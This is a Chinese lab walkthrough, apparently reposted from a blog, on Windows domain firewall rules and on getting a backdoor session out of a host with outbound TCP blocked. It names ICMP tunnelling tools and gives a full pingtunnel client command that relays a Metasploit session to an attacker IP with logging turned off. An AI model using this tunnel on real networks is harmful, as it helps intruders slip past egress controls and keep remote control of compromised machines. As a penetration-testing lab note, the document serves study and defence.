123-域防火墙入站出站规则不出网隧道上线组策略对象同步

news2025/1/11 22:48:20

参考：【内网安全】域防火墙&入站出站规则&不出网隧道上线&组策略对象同步_对公司的邮件服务器建立防火墙规则入站出战-CSDN博客

单机-防火墙-限制端口出入站

熟悉常见主机配置不出网的方式

1、入站&出站&连接安全

2、域&专用&公网&状态

3、阻止&允许&其他配置

解释一下入站和出站的区别：

入站就是别人来访问我们的主机，也就是正向shell的操作，点那个主机的后门进行运行时，kali需要主动去连接靶机也就是外来的流量，如果把入站的链接关闭就无法连接到

出站就是反向shell，主机需要主动连接kali，如果出站设置了阻止就会阻止这种主动连接的操作。

单机-防火墙-限制协议出入站

熟悉常见主机配置不出网的方式

1、程序&端口&预定义&自定义

2、协议&TCP&UDP&ICMP&L2TP等

自定义入站规则和出站规则，一些防护策略就是这样进行定义的

在主机上使用gpupdate/force实现强制更新组策略

域控-防火墙-组策略不出网上线

背景：

域内用户主机被限制TCP出网，其中规则为出站规则，安全研究者通过入站取得SHELL权限，需要对其进行上线控制。

使用正向连接&隧道技术

隧道技术使用icmp传输：

三个工具：

https://github.com/esrrhs/spp

https://github.com/bdamele/icmpsh

https://github.com/esrrhs/pingtunnel

在两端还是使用TCP但是在网络中传输的数据变成了ICMP协议，在用户主机上面先开启pingtunnel，然后点击生成好的后门，这个后门是连接到用户主机的3333端口，然后前面开启的pingtunnel会将这个3333端口的数据转为icmp发出来到kali上面被pingtunnel服务器接受转为tcp的数据发送到4444端口上

pingtunnel实现icmp隧道技术

背景：主机winser2102R2名为DC作为域控，user1winser2012作为域成员

user1被设置为了阻止所有tcp出站规则

出站tcp被限制

此时考虑使用正向连接方式和隧道技术上线

这里实验使用隧道的方式进行上线

工具地址https://github.com/esrrhs/pingtunnel

在上面下载Windows的release文件和Linux的release文件

然后使用kali生成后门

设置监听

首先验证后门的正常，先把之前设置的防火墙规则关闭，然后尝试上线后门，点击运行后可以看到是没有问题的

然后重新启用防火墙规则，再次尝试上线，点击后门程序并没有成功上线说明规则起作用了

首先生成一个IP地址为127.0.0.1的后门，同时把pingtunnel的Windows程序放入靶机

然后msf的监听端口端口改一下，监听地址直接改为全部

先在kali运行pingtunnel的服务端

./pingtunnel -type server

开启后会自动开始监听所有的icmp流量

然后再靶机上运行pingtunnel的程序

靶机上面运行后门，但是将会话弹到本机的8899端口，运行了pingtunnel后会监听本机的这个端口然后将收到的数据转为icmp协议的数据发到kali上面的pingtunnel服务端，然后服务端又会将数据发送到kali的6666端口，简单来说就是pingtunnel实现了网络传输使用icmp的但抽象来看还是tcp的端到端通信

命令：

pingtunnel.exe -type client -l 127.0.0.1:8899 -s 192.168.1.122 -t 192.168.1.122:6666 -tcp 1 -noprint -nolog 1